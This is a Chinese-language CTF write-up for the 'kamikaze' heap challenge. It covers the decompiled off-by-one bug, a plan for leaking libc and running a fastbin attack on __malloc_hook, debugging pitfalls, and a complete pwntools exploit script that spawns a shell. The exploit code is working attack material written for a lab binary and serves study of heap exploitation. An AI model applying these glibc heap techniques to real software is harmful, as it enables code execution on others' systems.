Kamikaze
heap fengshui hackit ctf kamikaze
Start
Kamikaze做完之后我想Kamikaze…… 感觉这题主要烦在利用难 做完之后收获挺大,堆风水思路很重要。。。
在风水先生的路上又前进了一步
分析
主要结构体
00000000
00000000 song struc ; (sizeof=0x28, mappedto_6)
00000000 weight dq ?
00000008 stanza dq ? ; offset
00000010 next dq ? ; offset
00000018 hook dq ?
00000020 hook2 dq ?
00000028 song ends
主要漏洞点
unsigned __int64 kamimaze()
{
int i; // [rsp+Ch] [rbp-34h]
int wei; // [rsp+10h] [rbp-30h]
int seed; // [rsp+14h] [rbp-2Ch]
song *ptr; // [rsp+18h] [rbp-28h]
char buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]
v6 = __readfsqword(0x28u);
printf("Enter song weight: ");
read(0, &buf, 4uLL);
wei = atoi(&buf);
ptr = song_list;
if ( song_list )
{
while ( ptr->weight != wei )
{
if ( !ptr->next )
{
puts("Couldn't find the song");
exit(0);
}
ptr = ptr->next;
}
printf("Enter seed: ", &buf);
read(0, &buf, 4uLL);
seed = atoi(&buf);
if ( seed <= 1 || seed > 0xE )
exit(0);
for ( i = 0; i < strlen((const char *)&ptr->hook); ++i )// kamikaze off by one
*((_BYTE *)&ptr->hook + i) ^= seed;
}
else
{
puts("You need to create a song first");
}
return __readfsqword(0x28u) ^ v6;
}
hook处用的是read,kamikaze处用的是strlen所以只要读满hook域然后用strlen就可以缩放size位
利用思路
- 只能使用fastbin….泄露不了libc
- 先用off by one 缩小topchunk
- free一堆chunk进fast bin
- 使得topchunk<0x30
- 这时候会把fastbin里的chunk整合放入unsorted bin
- 泄露libc
- 如法炮制放大unsorted bin 造成overlap
- malloc完unsortedbin malloc topchunk之后利用overlap做uaf
- fastbin atk 写 __mallo_chook
- free触发printerr
坑点:
- topchunk 最高字节恰好0x02用0x02去缩小(好巧)
- 链表结构常常做着做着被破坏。。
- leak的时候按照index而不是weight
- 为啥用的都是fgets,calloc…
- overlap的时候注意风水。。。(我tm调了一天。。)
- 记得先想好再去调。。。策略很重要
EXP
from pwn import *
def cmd(c):
p.readuntil(">> ")
p.sendline(str(c))
def add(weight,size,stanza,hook="".ljust(0x10,' ')):
cmd(1)
p.sendlineafter("Enter the weight of the song: ",str(weight))
p.sendlineafter("Enter size of the stanza: ",str(size))
p.sendlineafter("Enter the stanza: ",stanza)
p.sendafter("Leave a short hook for it too: ",hook)
def edit(weight,stanza):
cmd(2)
p.sendlineafter("Enter song weight: ",str(weight))
p.sendafter("Enter new stanza: ",stanza)
def free(weight):
cmd(4)
p.sendlineafter("Enter song weight: ",str(weight))
def show(idx):
cmd(5)
p.sendlineafter("Enter song index: ",str(idx))
def kamikaze(weight,seed=2):
cmd(3)
p.sendlineafter("Enter song weight: ",str(weight))
p.sendlineafter("Enter seed: ",str(seed))
#context.log_level="debug"
p=process("./kamikaze")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(256,0x20,"")#head
add(1,0x70,"")
add(2,0x20,"")
free(1)
free(2)
add(3,0x70,"")
add(4,0x20,"","A"*0x10)
kamikaze(4)
for x in range(5,35):
add(x,0x28,"")
add(36,0x70,"")
for x in range(5,35):
free(x)
add(36,0x70,"")#0x0000555555757d70
add(37,0x70,"")
for x in range(5,29):
add(x,0x28,"")
free(37)
free(28)
add(39,0x70,"")
add(40,0x28,"","C"*0x10)
kamikaze(40,4)
# top: 0x555555757de0 (size : 0x20)
# last_remainder: 0x555555757af0 (size : 0x360)
# unsortbin: 0x555555757af0 (size : 0x360)
#free(36)
#free(4)
#add(41,0x70,"")#0x0000555555757cf0
#add(42,0x28,p64(0xdeaddead))
add(43,0x58,"")
add(44,0x40,"")
add(45,0x70,"")
show(3)
p.readuntil("Weight: ")
base=int(p.readline(),16)-(0x7ffff7dd1b78-0x00007ffff7a0d000)
log.warning(hex(base))
libc.address=base
free(3)
add(46,0x28,"")
add(47,0x28,"")
add(48,0x28,"")
add(49,0x28,p64(0)+p64(0x21001))
add(50,0x60,"")
add(51,0x60,"")
add(52,0x60,"")
add(53,0x30,"")
free(50)
cmd(1)
p.sendlineafter("Enter the weight of the song: ",str(54))
p.sendlineafter("Enter size of the stanza: ",str(0x58))
p.sendafter("Enter the stanza: ","\x00"*0x48+p64(0x71)+p64(libc.symbols['__malloc_hook']-35))
free(46)
free(47)
one=base+0xf02a4
add(55,0x30,p64(0)+p64(0x0000000000020fa1))
add(55,0x30,"")
add(56,0x68,"")
add(57,0x68,"A"*19+p64(one))
free(0x39)
#gdb.attach(p)
p.interactive("nier>")
加注释是这辈子都不可能加注释的